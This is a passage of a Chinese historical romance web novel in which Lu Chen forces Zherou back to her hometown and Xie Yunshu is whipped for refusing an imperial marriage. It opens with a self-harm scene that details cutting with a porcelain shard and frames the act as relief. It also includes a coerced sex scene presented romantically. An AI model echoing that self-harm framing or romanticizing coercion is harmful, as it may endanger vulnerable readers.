皮肤灼痛,脏腑揪扯,他从未经过这般锥心刺骨的痛楚,疼到不知要如何自处,不知要如何方能发泄丝毫。 不觉间,陆谌解下随身的匕首,轻车熟路地抵开刀鞘,寒刃贴着小臂划过。 可那刀刃太过锋利,轻而易举便划破皮肤见了血,快得连痛觉都来不及反应。 不成。 不够痛。 瓷片正好。 他放下匕首,面无表情地捏碎了一只茶盏,随手挑出一片薄刃,攥入掌心。 瓷片断口粗糙,需得用足了力方能割破皮肉。 沿着被她掐抓过的痕迹,用力划下去,碎瓷狠狠碾进伤口,带出细小的瓷渣,仿佛撒下一把粗盐。 冷眼看着汩汩鲜血顺着劲瘦肌理蜿蜒而下,在温水中一圈圈洇散荡开,将清水渐渐染作猩红。 血脉里快要炸开的痛,终于找到了些许出口。 说不清的畅快盈满胸腔,让他忍不住微微发抖,仰头轻喘。 心悦旁人么? 无妨。横竖先将人拘在身边,往后天长日久,自有千百种法子,同她慢慢磨。 她只能留在他身边,任谁都休想抢走。 第59章 旧居 折柔身心俱疲,整个人蜷缩在锦衾中,仿佛沉入一片漆黑的深潭。这一觉睡得朦胧混沌,不知过了多久,恍惚感觉身侧床榻一沉,似有人靠近过来。 迷朦中也知晓,来人只会是陆谌。 她无意识地蹙起眉头,整个人往被衾深处缩了缩,又翻了个身,背对着他,乌发散乱地铺落到枕上,在彼此间划出一道泾渭分明的界限。 偏偏陆谌丝毫不肯放过,伸手将她从被子里挖了出来,又扳住她单薄的肩膀,迫着她转过身子。 折柔不由生出一阵烦怒,正想用力挣脱,却发觉原本胡乱裹着的衣襟已经被他挑开,身前隐约掠过一丝凉意。 她一瞬清醒过来,睁眼看向陆谌,指尖无意识地扯住锦被,“……你做什么?” 一副分明惊慌失措又强作镇定的模样。 陆谌喉结微滚,心里忽然一阵发堵,静默片刻,举起手中的东西给她看,淡淡道:“给你上药。” 折柔怔了怔,目光向下,看见他手中攥着一个青瓷小瓶,紧绷的身子这才稍稍放松,不再乱动,只是仍旧别过脸去,不肯看他。 陆谌沉默着拔下软布塞,指腹沾了些药膏,轻轻涂抹上她脖颈和胸前的红痕。 药膏沁着凉意,甫一触碰上来,折柔便不自觉地瑟缩了一下。 陆谌看了她一眼,动作停滞片刻,将剩余的药膏先在掌心化开,方才重新抚上去。 他指腹上带着一层粗粝的薄茧,打着圈推揉过身前最细嫩的肌肤,动作轻缓,与先前在马车上的粗暴全然不同。 折柔说不出心中是什么滋味,身子有些控制不住地微微发抖,冒出一层又一层细密的战栗,偏又挣脱不得,只能咬住牙,任由他施为。 屋内一时寂静,只听得见炭火偶尔爆出哔啵轻响,和两个人浅淡交错的呼吸声。 陆谌迫得太近,她即便偏着头,也能嗅到他手上萦绕着一股血腥气,和药膏的清苦混杂在一起,直往鼻子里扑钻 。 想来是先前被她咬伤的地方还不曾处置,折柔冷淡地闭上眼,只作全然不觉。 她不知谢云舟现下如何了,心里难免有些记挂,却根本不敢开口问,生怕陆谌发起疯来,不定又要做什么出格事。 陆谌似是看穿了她的心思,冷冷道:“休想再去寻鸣岐,往后他有的是麻烦缠身,只怕是自顾不暇。” 折柔心口猛地一震,转头看向陆谌。 陆谌的眸光陡然沉了下来,唇角扯起一抹自嘲的凉笑,“非要同你提起他,才肯正眼看我,嗯?” 折柔不自觉地攥紧了身下被褥。 这是她和陆谌之间的恩怨纠缠,鸣岐本是无辜,是她贪恋那份温暖,其间又夹杂了几分怨怒,这才将他牵扯进来。 她万不愿连累到他,惹得陆谌对他下手。 她抿了抿唇,轻声道:“陆秉言,我和你的事,不要牵扯旁人。” “旁人?”咬牙忍住心脏的剧痛,陆谌眯眼看着她,冷笑了一声,“妱妱,他还是旁人么?” 折柔一瞬顿住,不知该如何作答。 “对付鸣岐,用不着我出手。” “官家对他寄予厚望,可他这出身实在算不上名正言顺,朝中又有李桢虎视在侧,想要堵住那群文臣的嘴,官家必会在有声望的清流中为他择一门亲事。 此番回京,不出两月,官家定要下旨迫他娶妻完婚。” 听他说完,折柔一时有些愣怔,陆谌嘲弄地笑了笑,将药瓶收回掌心,指节暗暗攥得泛了白,也不再多留,起身出门。 此后一连三日,陆谌只在白日里过来给她敷药,等到上完药,看也不看她一眼,径直起身离开。 两个人像是绷着一股劲,凝作一道无形的冰墙,俱都沉默着,谁也不肯先开口。 南衡过来给她送饭食,放下食盒却并未立即退下,反倒是吞吞吐吐了半晌,犹豫着向她求恳:“娘子……郎君这几日受寒犯了旧疾,夜夜咳嗽呕血,还请,还请娘子去给他看看吧……” 折柔愣了一下,旋即回过神来,又忍不住微微冷笑,“岷州城中遍地医馆药坊,他这般有权有势,随心所欲,还会缺一个大夫不成?” 南衡偷觑着她的脸色,咬咬牙把心一横,解释道:“娘子有所不知,是那夜淮河船上遇刺落下的毛病,剑上淬毒伤了肺经……郎君心里有结,一直不肯求医问诊,拖到如今……几乎已成痼疾。” 折柔心头蓦地颤了一颤,指尖不自觉地掐进掌心,可静默片刻,终究还是抿紧了唇,别过脸去,不肯理会。 南衡见她当真狠了心,一时也不敢再多言,只能咽下话头,行礼告退出去。 等到第四日晨起,用过朝食,陆谌过来寻她,除了脸色苍白些,倒也看不出分毫异样。 叫人草草收拾了些行装,他伸手给她裹了件裘袍,便要带她出门。 折柔不由蹙眉,“去哪?” 陆谌给她戴上风帽,长指在系带处微微一顿,声音冷淡得听不出半分起伏:“回上京。” 这两个字如同一块寒冰,砸进心口。 一想到上京的生活,折柔心中便隐隐作痛,满心的抗拒烦闷,却又无可奈何。 马车早已候在客舍门外,车辕上积着层薄霜,明亮稀薄的日光映照上去,折射出一片冷冽的清光。 也不知是有意还是无意,倒是换了一驾马车,瞧着和前几日在城外官驿的不同。 折柔被陆谌半扶半抱地送上去,两个人坐稳后不久,马车辚辚行起,匀速行了一段路,很快出了岷州城。 一出城门,马车便越行越快,路上几乎没有什么停顿,临近夜里方才寻了一处驿站,一行人暂作休整。 折柔不熟悉地形,不知他们这是走到了何处,自然也不会开口问陆谌,只闭眼歇息,全当身旁没有陆谌这个人。 直到隔日晌午,马车似是驶入了一座城池,行到某处终于缓缓停下,陆谌先一步下了车,又回身扶她,“过来。” 折柔踏下车辕,不经意抬起眼,周遭熟悉的景致猝不及防撞入眼帘—— 夯土高墙,土坯木屋,四望苍山积雪,一河环抱。 竟是洮州。 她愕然转头看向陆谌,却见他神色如常,没有什么波澜,“不是要回乡祭拜爹娘?” 见她呆立在原地发愣,陆谌握紧了她的手,不由分说地带着她往前走去。 折柔被动地跟着他,入目尽是熟悉的景色街巷,一时间心头滋味错杂,喉头隐隐发哽,她忍不住偏过头去,咬紧了唇。 一路走到农田尽头,绕过一个小山丘,林后便是她爹娘合葬的坟茔。 陆谌已经叫人备好了祭扫用的香烛纸钱,从南衡手中接过线香,带着她一道在坟前跪了下去。 陆谌拈香长揖,伏身拜过大礼,又郑重道:“小婿秉言,请岳父、岳母大人安。” 折柔脸色唰地一变,万般不愿在爹娘坟前被迫着认下他的身份,当即挣扎着便要起身,却偏偏又被陆谌死死按住,不得不和他一道叩了三个头。 “从前秉言有愧于妱妱,日后必定千百倍补偿,今此立誓,只要有我一条命在,必定护住妱妱往后半生安稳,富贵无忧。”顿了顿,他又低声道:“还求岳父岳母在天有灵,保佑我与妱妱重修旧好,夫妻和美,恩爱绵长。” 明明是带她来祭奠父母,偏又依旧如此蛮横霸道。 折柔咬紧了牙,指甲深深陷入掌心,强忍着没有在爹娘的坟前发作。 却不想祭扫过爹娘的坟茔,陆谌又非要带她回旧居,说是还要在此处小住几日。 从前的那处小院已经收拾出来,院中的石榴树还活着,旧井和菜畦也都还在,屋顶的瓦片似乎被人换过,平整簇新。 分明是再熟悉不过的景象,偏偏教人觉得物是人非。折柔心头倏地一堵。 陆谌垂眸看了她一眼,正要带她进屋去,南衡却忽然过来向他禀事,似是京城急报。 折柔索性挣开他的手,独自进了屋。看过熟悉的桌椅陈设,心头滋味愈加错杂难言,胸腔仿佛被什么挤压,她只觉一阵阵窒闷得难受,隐隐有些喘不过气来。 正要转身出去,却忽然瞥见木柜下的缝隙里露出一角纸张,经风一吹,微微拂动。 脚下犹豫刹那,鬼使神差一般,她走过去弯腰捡起来,展开。 是一张泛黄的竹麻纸,边缘残缺,却依稀可见墨色。 纸上歪歪扭扭画着两个小人,旁边蹲着一只大黄狗,线条粗糙,一看便觉稚拙得可笑。 可若说最为扎眼的,还要属狗儿身上飞扬峻挺的三个大字——“陆秉言。” 彼时她初学作画,画技粗陋,人像歪扭,陆谌看了直笑,说她这画得哪里像人,分明像山精。 直到给她逗弄得当真恼了,陆谌眼见哄不好,索性大笔一挥,在黄狗身上写了自己的名字,低头看着她,黑眸里笑意湛湛,又带着点无奈,“好妱妱,我这样赔礼,算不算诚心?” 乍一看清这幅画,折柔愣怔一瞬,不自禁地笑了一下。 笑着笑着,眼睫忽然湿了。 热泪绵绵地滚落下来,她再也忍不住,蜷起身子蹲下去,双臂紧紧环抱住自己,哽咽出了声。 那些从前她再珍视不过的东西,如今都已变得面目全非,不会再有了。 就好像不会再有阿娘用五颜六色的丝绦给她编辫子,也不会再有爹爹会让她骑在脖颈上,带她去瓦子里看百戏。 不管她怎样不舍,怎样难过,都不会再有了。 第60章 铜镜(强制,慎入)…… 陆谌在廊下隐约听见些声响,疾步进屋,就见折柔抱臂蹲在地上,喉咙哽咽着,肩头不住地发颤。 陆谌愣怔片刻,走到她身边,伸手去扳她的肩膀,可她只是哭,哭得愈发难过,倔强着不肯依从。 陆谌心一紧,拧眉唤她:“妱妱?” 折柔竭力压抑着哭声,将下唇咬得死紧,眼看着就要渗出血来。 陆谌心头忽而一阵急怒,手上用了力,强行将人抱进怀里,一把捏住她的下巴,怒喝:“放开!” 他使了蛮力,却不想折柔也发起狠,就势咬上他的肩头,齿关用力扣紧。 从前的一切越是缱绻珍贵,如今便越是让人恨海难填。 她心中恨苦,齿间用足了气力,尖锐的痛意猛然刺穿皮肉,陆谌的身子一瞬绷紧,额上霎时沁出一片冷汗。 “为何非要逼我……”她含混着呜咽,泪水混着血丝洇湿他肩头衣衫,“明明……你最是可恨……不肯放过我……” 陆谌一声不吭地任由着她发泄,感觉到有血珠滚下脊背,划出一线温热的触觉。 只是沉默地收紧双臂,让她伏在自己怀里,掌心轻轻抚着她不住发颤的脊骨。 放过她。 他忍不住扯起唇角,自嘲又悲凉地笑笑。 他也想知道,这世间又有谁能来放过他。 不如就这么纠缠,纠缠到死,与他同入陆家祖坟,受陆家香火,便是灵位之上,也要刻下陆门宁氏四个字,此后生生世世,再也不能同他分离。 也不知过了多久,折柔终于哭得累极力竭,眼中干涩得再流不出一滴泪,喉咙里也被腥甜的铁锈味呛得难受,这才缓缓松开咬得发酸的齿关,偏过头去不再看他。 陆谌沉默片刻,将她抱去圈椅里坐下,转身斟了盏温茶,递给她漱口。 哭得久了,胃里本就难受得翻江倒海,折柔勉强饮尽一盏温茶,却仍是压不下喉间翻涌的血腥气,忍不住俯身干呕起来。 陆谌见状,下颌线条骤然绷紧,转身重又斟了一盏茶回来给她,拧眉嗤道:“现在知道难受了?可解恨了?” 折柔垂着眼睫不作声,双手紧紧攥着茶盏,用力到发白,直又饮尽满满两盏温茶,方才漱净嘴里的血腥味。 静默半晌,等到她紧绷的肩背全然松懈下来,陆谌这才搁下茶盏,垂眸看着她,淡淡道:“咬过人,出过气,如今也该赔我一件东西。” 折柔闻言一怔。 不及反应,就见陆谌在她身前半蹲下来,从怀里取出一枚青玉长命锁。 看清了那是何物,折柔抬手便要挡,陆谌却一把按住她的手腕,先一步将那枚玉锁戴回到她的颈间。 “物归原主。”指腹摩挲过熟悉的纹路,他低低道:“不许摘。” 他幼时曾大病过一场,他爹爹担心他就此夭折,特向相国寺的高僧求来这枚长命锁,为他挡灾去难,此后他贴身佩戴十余载,这玉锁里是寄着命的。 当初她悄无声息地留下玉锁出走,如今也合该重新戴回来。 就仿佛,从不曾离开过。 夜里,在昔日那张亲昵过无数日夜的榻上,陆谌用上了十足的耐心,同她慢慢缠磨。 折柔心知横竖挣脱不得,多挣扎两下反倒显得可笑,又何苦让自己白白受罪,也不再咬牙强忍,只由着他撩拨取悦,终于渐渐放软了身子,呼吸也隐约变得急促。 纠缠半晌,愈发感觉到滑腻,陆谌忽然托住她的腰肢,一把将人抱起来,抵去了铜镜前的妆台上。 那面铜镜是当年逢她生辰,他升了军职,饷银发下来,特地去洮州城中最好的铜匠铺子为她打的。 镜面精磨细锻,又掺了银粉,比寻常铜镜更亮,照人时不显昏黄,反倒折出清冽的淡淡银光。 陆谌低头衔住她细嫩的耳垂,灼热的吐息裹在耳畔,激起一阵阵酥麻,不由分说地直往人骨头里钻。 “妱妱,”他声音低哑,长指扣住她的下巴转向铜镜,“看清楚,如今同你在一处的是谁?” 镜里映出女子潮红的面庞,和身后男子清瘦利落的下颌。 一只筋骨有力的手紧紧钳握住她纤柔的胳膊,长指收拢,轻而易举地将她圈握在掌心,教她分毫逃离不得。 她稍一挣扎,镜中的影子也随之晃动起来,可很快又被身后的人攥着胳膊抵按回原处,脊背撞上他硬热的胸膛。 折柔不由溢出一声惊喘,慌忙紧阖双目,长睫不住地簌簌发颤。 “妱妱,睁眼。”声音里带着不容抗拒的强硬。 带着薄茧的掌心腻了层潮汗,从后拢覆上去,力道熟稔无比,引得她仰颈轻喘起来,镜面也随之蒙上一层薄雾。 陆谌动作未停,只用指腹抹去那层水汽,逼着镜中人同自己对视,“又是谁教你这般快活,嗯?” 铜镜明澈如水,将一切映得纤毫毕现。 折柔恼恨他的厚颜无耻,心中只觉既羞耻又难捱。 只能紧紧闭上眼,细弱手指死死攥住妆台边缘,借着那缠枝雕花的纹路将掌心硌得生疼,以此迫着自己在混沌中留住几分清明。 偏偏他恶意地加重了几分力道。 要送她欢愉,更要她只能记得他给的欢愉。 折柔只觉眼前阵阵恍惚,仿似神魂都漂浮起来,终于忍无可忍,低斥出声:“……陆秉言!” 如此倒也算回答。 陆谌似是终于得偿所愿,低哑地轻笑了一声,俯身寸寸吻去她颈后的细汗。 窗外风声愈急,屋内潮热蔓延,铜镜上映出两道汗湿交缠的身影,轮廓氤氲模糊成一团,只能瞧见她颈子上的玉锁落下来,垂在凝白如脂的胸前,一荡一荡。 不知过去多久,等到一切收场,折柔疲倦得快要站立不住。 陆谌将她揽抱回去,取了软帕,仔细清理干净。 掌心轻轻抚过汗湿的脸庞,他低头吻了吻她的眉心,“妱妱……忘了不相干的人,只和我好好过,嗯?” 似命令,似求恳,又似诱哄。 不止是要她忘,更是要逼着自己忘。 这些时日以来,他甚至不敢再看她,只怕多看一眼,血脉里沸涌的痛楚和恨怒就要爆裂而出。 舒爽的余韵褪去,折柔只觉满身倦意,连指尖都懒得动弹,心中更是分毫不愿应承,朦胧中蹙起了眉头,倦怠地偏过脸去。 陆谌垂眸。 红绳串起长命锁,温润的青玉静静卧在那一小片白腻的肌肤上,随着她的呼吸微微起伏,在烛影中荡开一圈圈涟漪,好似撞进他的心口,牵起细细密密的疼。 仿佛心中的某处缺憾被填满,却又好似仍觉远远不够,还想要更多、更多,恨不能将她揉进骨血,寸寸皆要占尽,如此方算圆满。 ** 皇城司的人生怕半路横生枝节,不惜连茶水中都下了狠药,谢云舟在路上一直混混沌沌,分不清车外是白日还是夜里,待到意识终于清明过来,便发觉已经身处禁中的福宁殿。 大殿里光线晦暗,分不清眼下是何光景,穿堂风掠过重重帐幔,带起细微的窸窣声响,殿中的人不知去了何处,一旁的鎏金狻猊兽炉袅袅吐出青烟,愈发显得四下里空旷静谧。 九娘。 要尽快回去寻九娘。 心头倏然一紧,谢云舟猛地掀被起身,下榻穿靴。 “醒了?” 官家的声音忽然自屏风后幽幽传来,不疾不徐,亦听不出喜怒起伏,却教他浑身血液在一瞬间凝固住。 谢云舟心神俱震,脚下鞋靴还未穿妥,整个人陡然僵硬在原地。 半晌,他喉结艰难地滚了滚,俯身将长靴穿戴齐整,快步行到那架剔红描金山水屏前,整衣行礼:“官家。” 锦绣屏风后,隔着那团朦胧的云纹,官家冷冷地斜了谢云舟一眼。 “这般匆忙,”半晌,他鼻中轻哼一声,指节在紫檀桌案上不轻不重地叩了两下,“是要急着去何处啊?” 谢云舟咬了咬牙,硬着头皮道:“臣一路昏沉,醒来一时不知身在何处,只想去瞧一瞧情形。” “谢鸣岐!”官家“啪”地一声收合奏折,盯着他的眸光愈发冷冽,“你可是把朕当做三岁小童,由着你肆意瞒骗?!” 谢云舟垂首,“臣不敢。” “这世间,还有你不敢做的事?” 官家冷嗤一声,振袖起身,缓步绕出了屏风,居高临下地睨着他,“就这般急着去和你表兄争抢一个乡野女子,嗯?” 犹如陡然被一道炸雷当头劈下,谢云舟脸色一霎变得惨白,愕然抬起头来。 官家微微眯了眯眼,打量着他的神色。 “朕倒是不知,你还打算继续胡闹到什么时候。不过一个二嫁妇人,残花败柳之身,也值得你和兄弟反目……甚至罔顾伦理纲常,连生父都不认了?嗯?” 语气平淡徐缓,却分明挟了万钧怒意。 谢云舟只觉得后背陡然一凉,冷汗已然浸透中衣。 再也顾不上旁的,他径直跪了下去,膝盖重重砸在殿中的澄泥花砖上,磕出一声闷响,急声道:“私逃一事,罪皆在我,从始至终,同旁人没有半分干系,官家切莫迁怒无辜!若要降罚,还请官家罚我一人!” “果然回护得紧呐……”官家一哂,轻飘飘地道:“你若继续犯糊涂,如此不分轻重,区区一个女子,朕断不会再留。” 谢云舟浑身剧震,心跳如擂,还欲再分辩求恳,抬头正撞上官家深不可测的目光。电光火石间,他突然意会到那句“连生父都不认了”的言下深意。 他下意识攥紧了拳,指节用力到泛起青白,咯咯作响。 官家一动不动地盯着他。 喉结艰难地滚动数下,谢云舟终是慢慢、慢慢地伏拜下去,额头抵住冰凉的地砖,声音哑得不成样子。 “爹爹。” 这个他始终不肯承认的称呼在舌尖滚了又滚,终究还是混着喉间翻涌的铁锈味吐了出来。 “求爹爹……明鉴。”《 》 60-70 第61章 鞭罚(剧情过渡章)…… 听见那两个字,官家眼中的冷意陡然消退了大半,又静默良久,才状似随意地摆了摆手:“起来罢。” 谢云舟仍不敢全然放下心来,只低声应了是,缓缓地站起身。 “过来。” 官家见他神色仍紧绷着,语气不由和缓了几分,略抬下颌,指向案几上一本绸面簿册,“看看这个。” 谢云舟隐隐直觉不对,迟疑地走过去,拿起册子,翻开就见内页尽是各色女子画像,一旁还用院体小楷详录了容貌品性。 果然就没什么好事。 他越看眉心越紧,长指无意识地收紧,将册页边缘捏出一道细褶,“这是什么?” “何须明知故问。”官家轻哼一声,随手取过白瓷茶盏,慢啜了一口,“若有合意的,等上元节后衙门开印,我便遣宗正卿去纳采问名,待到二月太庙春享,你随我认过先祖,最迟到四月里便可亲迎礼成。” 谢云舟下颌一瞬绷紧,好半晌,硬梆梆地扔出来一句:“我不娶。” 官家不由拧了拧眉,“早前是我纵着你,可如今你这般身份,岂能没有妻族助力?胥国公待你再亲厚,那也是行伍出身,在朝堂上终归是差了一层,这册子上的几家皆是清流门第,在文臣中素有声望,你若执意不选,那便由我替你选。” 谢云舟喉结狠狠一滚,从齿缝里挤出几个字:“我不想娶。” 官家闻言一顿,眯眼上下打量他片刻,忽然了悟似的“哦”了一声,“是还惦记着那个二嫁妇?” 谢云舟低着头,侧脸线条紧绷着,咬牙不作声。 不肯违心反驳,却也不敢坦然认下,只怕天威难测,当真给她招来祸事。 “无妨,待你娶了正妻,她若不曾同你表兄重修旧好,将她许你做个侧妃,倒也未尝不可。” 恍如被钝刀捅进肺腑,谢云舟猛地抬起头来,强压住心口那股已然烧起来的怒意,坚持道:“我不娶……” “那你想娶谁?” 谢云舟顿了一刹,没有立时应声。 茶盏“铛”一声重重磕在案几上,官家猛地提声厉喝:“说话!” 脑中不受控地回想起那一晚,她埋首在他的胸膛里,吐息温热柔软,轻轻的一声“好”。 谢云舟只觉心头一阵滚烫,热血突突直往头上顶,垂在身侧的拳头紧了松,松了又紧,终于怒道:“我非她不娶,也绝不允她做妾,天上地下,今生今世,我只要她一个,旁的我谁都不要!” “呵,出息了,真是出息了!”官家气得咬牙切齿,冷笑道:“既如此,朕早已同你说过,你若是执意为着个女子任性胡闹,那这祸根,朕断不能留。” 谢云舟早有所料,闻言挺直腰背,咬紧了牙,一字一字冷硬如铁:“她若有半分差池,我也绝不独活。” 话音落下,官家险些怀疑自己耳朵出了毛病,不可置信地看过去,“……你说什么?你再说一遍!” 谢云舟平静抬眸,直直对上他的视线,一字一顿,掷地有声:“臣说,她若有事,我绝不独活。” 官家勃然大怒,拍案起身:“逆子!你可是在威胁朕?” “臣不敢。” 官家气怒已极,胸口剧烈起伏着,目光在殿中急扫了一圈,忽然颤着手抓起一旁的白瓷茶盏,狠狠地朝他砸了过去。 谢云舟分毫未躲,茶盏刚好砸到他的额角,“啪”地一声碎裂开来。 瓷片刮破肌肤,眉尾的鲜血顺着脸颊蜿蜒而下,他却始终连眼睫都未颤一下。 官家看着他,心中越发痛急。 他膝下本就单薄,更不必说子凭母贵,他一向对这个儿子寄予厚望,却不想他竟会为女色所迷,说出这等荒唐透顶的话! 官家扶案急喘起来,几乎是语无伦次,“你失心疯了不成?!居然为个女子……为个女子……没有哪个女子能比得过这天下江山!你可知晓?!” 沉默半晌,谢云舟忽而仰起脸,讥诮地笑了笑,“所以,爹爹当年就是这般舍弃我母亲的么?” 此言一出,大殿中一霎落入死寂,空气仿佛凝固成冰,窒闷得几要教人透不过气来。 官家猛然暴喝出声,“放肆!” 谢云舟却昂头直视,对上那道震怒的目光,分毫不让。 官家气得浑身发抖,心脏陡然传来一阵剧痛,他勉强抬手捂住心口,颤声怒喝:“来人,来人!” 殿外值守的御龙直禁卫应声而入。 “给朕,给朕把这孽障拖出去,”官家颤着手指过去,声音已然抖得变了调,“重鞭五十!让他好生清醒清醒!” 万不想官家会怒到这般地步,不远处的怀忠吓得一个激灵,急急跪上前来:“官家息怒,官家息怒!难得小郡王回来,和您团聚,这是好日子呀,可切莫……” 却不想他刚劝到一半,那厢谢云舟已经自行起身,止住欲要上前押解的禁军,冷嘲道:“不必,我自己能走。” 说完,他利落地转过身,背脊愈发挺直,头也不回地出了福宁殿,大步走到殿外的丹墀阶前,直挺挺地跪下。 殿前指挥使陈隋与他是旧识,上前叉手一礼,眼中隐有几分犹豫,“小郡王,得罪了。” 谢云舟扯了扯唇,露出个漫不经心的笑来,“你同我还客气什么,若是实在过意不去,眼下我倒是有桩事要劳烦你。” 陈隋一怔,旋即点头,“小郡王尽管吩咐。” 谢云舟道:“去步军司衙门,叫周霄过来见我。” 听着倒不算什么大事,陈隋略一沉吟便应承下来,转身招来一个亲卫,吩咐他去传话。 见那人转身去了,谢云舟心下微微一松,解开衣袍,安心待刑。 明明周遭冷风凛冽刺骨,可只要一想她曾说过“心悦他”,便觉心头滚热。 虽然他很有自知之明,但她既然说了,那便总是有那么两分的罢。 两分也成。 光是这般想着,欢喜便止不住地从心底漫上来。 他当然要非她不娶。 挨几道鞭子而已,又算得了什么。 这些班直哪个不知小郡王一向最受官家疼爱?就算今日盛怒之下叫人动刑,也是用鞭而非用杖,便是只要他疼,要他吃些苦头,却又不伤及根本。 是以众人下手时都颇有分寸,可刑鞭在朔风中吹得久了,牛皮脆紧发僵,硬如钝刀,不过几鞭下去就见了血,不住顺着他的脊梁蜿蜒淌下。 谢云舟跪在地上,鞭梢剐过皮肉,只觉一阵阵撕心裂肺的灼痛从后背炸开,瞬间蔓延至四肢百骸,寒风裹着雪粒子打在伤口上,更是痛上加痛。 不知捱了多久,喉间血气激荡,他渐渐有些支撑不住,眼前一瞬一瞬地发黑,冷汗混着血水顺着下颌滴落,在雪地上晕开一片触目惊心的红。 五十鞭一到,陈隋当即下令停手,转身匆匆进殿复命。 见他进来,官家声音不自觉地微微绷紧,冷着嗓子问道:“如何,那孽障可知错了?叫他滚进来见朕。” 陈隋垂首盯着靴尖,额上隐隐泛起细汗,喉头滚了滚,“小郡王他……他……” 这般反应,自然已是不言自明。 愣怔片刻,官家怒极反笑,在原地来回走了几圈,最后猛地转身,拂袖一甩,将桌案上的纸墨笔砚尽数扫落,噼里啪啦砸了一地。 “好啊,真是好个硬骨头!” 他喘了几口粗气,又扬声对陈隋厉喝道:“给朕继续打,狠狠地打,这孽障什么时候肯低头认错,什么时候再停!” 不多时,殿外声响又起,怀忠听得浑身发颤,“扑通”一声跪到地上,苦口劝道:“官家……您瞧瞧外头这天儿,又刮风又下雪,小郡王去衣受刑,便是挨得住鞭刑,也挨不住寒气啊,倘若受了风,只怕要落下病根哪……” 官家暴怒的身形一瞬僵住,冷冷地扫了他一眼。 怀忠立时噤了声,俯首贴地,眼观鼻鼻观心,大气不敢再出。 大殿中沉寂得落针可闻。 不知过了多久,官家缓缓地坐回到圈椅中,指尖微抬了抬。 怀忠当即如蒙大赦,麻溜地退出大殿,匆匆跑到阶下,急声喝止:“住手!快住手!” 执刑的班直闻声立即停手,收了鞭子退到一旁,鞭梢却仍在不住地往下滴血,转眼便洇红了一片落雪。 怀忠看得心惊肉跳,快步到谢云舟身前蹲下,仰头看着他的脸,压低声音劝道:“小郡王,官家到底有多心疼您,您心里还不清楚么?就点个头,服个软,应了官家的话吧,成不成?” 额角的青筋突突直跳,谢云舟暗自攥紧了拳,缓缓呼出一口血气,咬牙道:“不、应。” “诶呦祖宗!”怀忠简直急得团团转,搓着手,声音都打起颤来,“您非和官家较什么劲哪?这血浓于水,打断骨头连着筋,您只要低个头,把这亲事应了,官家疼您都来不及!” 寒风裹着碎雪呼啸而过,谢云舟只觉浑身的血液都在一点点流失,眼前景象忽明忽暗,反应也变得迟钝起来,耳畔的声音像是隔了层罩子,嗡嗡得听不真切。 好半晌,他微微偏过头,舌尖抵住腮帮顶了顶,啐出一口带血的唾沫,唇角扯出个讥诮的笑:“打死我……也不应。” 不想他竟能桀骜到这个份上,简直是连命都不要了,怀忠一时无法,只能先回殿复命,却不想这一回头,险些和匆匆赶来的官家撞个正着,惊得他慌忙跪地告罪。 官家却看也未看他一眼,目光只死死钉在自家儿子的身上,再走近几步,瞧见他背上鲜血淋漓的鞭痕,玉色袖笼里的指节一瞬捏得发白。 风雪呜咽着卷过回廊,四下里陷入一刹的沉寂。 “抬头!” 雪粒子扑落到睫毛上,谢云舟费力地眯起眼睛,视线有些涣散地看向那双龙纹丝绢软靴。 “朕再问你最后一遍——” “娶,还是不娶?” 谢云舟喘了一口气,刚要开口,喉间突然涌上腥甜,寒风裹着血沫子灌进喉管,喘息间扯得五脏六腑都跟着抽痛。 喉头艰涩地滚了滚,他硬是将那口血咽了回去,扯唇笑了一下,口中一字一顿,坚定非常:“不……娶!” “逆子!” 官家气得额头青筋暴起,眼见着他身下积雪都已被鲜血染红,人也冻得唇色青紫,顿觉心头又怒又痛,再也按捺不住,厉声喝道:“逆子!给朕起来!” 僵顿片刻,谢云舟双臂打着颤,勉强撑在冰冷的雪地上,想要借力起身。 可这时节天寒地冻,他在冷雪中跪得太久,双腿早已失去知觉,将将艰难地支起半个身子,便向前栽去。 怀忠见状大惊,急忙要上前搀扶,却听官家一声暴喝:“不准扶!” 怀忠顿时僵在原地,进也不是,退也不是,一时间急得不知要如何是好。 谢云舟咬了咬牙,还欲再起,可强撑半晌,那口气终是没能顶住,整个人重重摔在雪地里,彻底脱力晕了过去。 官家身子狠狠一晃,猛地扬声怒喝:“还不快去请太医!” 四下里顿时乱成一团,诸班直七手八脚地将人背负到偏殿里安置放下。 当值的几位翰林医官闻讯匆匆赶了过来,一边处置伤处,一边吩咐人煎药,金创药的辛辣气息混着血腥味渐渐在殿中弥漫开来。 谢云舟在周身的剧痛中沉浮,意识几度涣散又聚拢,恍惚间想起些什么,心头陡然一紧,挣扎着从混沌中醒过来。 见有内侍过来侍药,他强撑起一口气,一把攥紧来人的衣袖。 那内侍立时站定,微微俯身,恭敬问道:“敢问小郡王有何吩咐?” 谢云舟低喘了两口气,哑声交待:“去问问,周霄何在……叫他,来见我……” 内侍忙应声去了。 却不想他前脚刚出偏殿,另有一个换了便服的小黄门紧随其后,悄悄溜出了拱宸门,绕过金水河,直奔东南角的三皇子府而去。 府里,李桢将将踱进内室,就瞧见徐氏又在窗边默默垂泪。 他懒洋洋地歪倒在一旁的罗汉榻上,斜睨一眼,“又怎的了?还在担心岳丈大人?” 徐氏闻声背过身去,用帕子掖了掖泪,低声道:“正月十五过后衙门开印,我爹爹他怕是就要……” 李桢“啧”了一声,伸手一把将人搂进怀里,“莫哭了。” 徐氏蹙眉挣了一下,却被他掐着腰按在腿上。 “怕什么?”李桢偏过头,鼻尖轻嗅着她颈间的软香,低低地笑了笑:“放心,我朝不杀士大夫,就算官家降旨,岳丈也至多就是被贬官罢相,性命无忧。到时候,我多使出些银钱,教人上下仔细打点一番,必不会让他吃苦受罪。” 停顿片刻,他意味深长地笑了一下:“更何况,留得青山在,不怕没柴烧。谁又知今日阶下囚……不会是明日座上宾?” 徐氏将信将疑,蹙眉道:“可官家对郎主……” 李桢笑笑,不以为意地把玩着她的衣带,“下月又有西羌使团抵京,听闻他们此遭有意娶妻和亲,这等场面,官家便是再瞧不上我,也免不得要我出去接应。” 徐氏还要再说什么,门外忽有管事前来通报。 “郎主,禁中有人来消息。” 李桢闻言一顿,拧了拧眉,放开徐氏,起身走出门,一眼就瞧见阶下躬身侍立的小黄门,他神色颇有些不虞,“不是叫你老实些,无事莫要招人眼目么?” 小黄门擦了擦额角的热汗,急声道:“回禀殿下,确有要事!” 李桢微抬了抬下巴,示意他过来说。 小黄门赶忙趋步上前,附耳低语了几句。 李桢起先还勾唇笑了笑,听到后来,脸色骤然一变。 ——逆子。 官家斥他为“逆子”。 什么叫逆子?! 李桢眼中一瞬变得阴鸷,扬手召来管事,寒声道:“去,叫人去查!给我好好查清楚,到底是怎么一回事!” 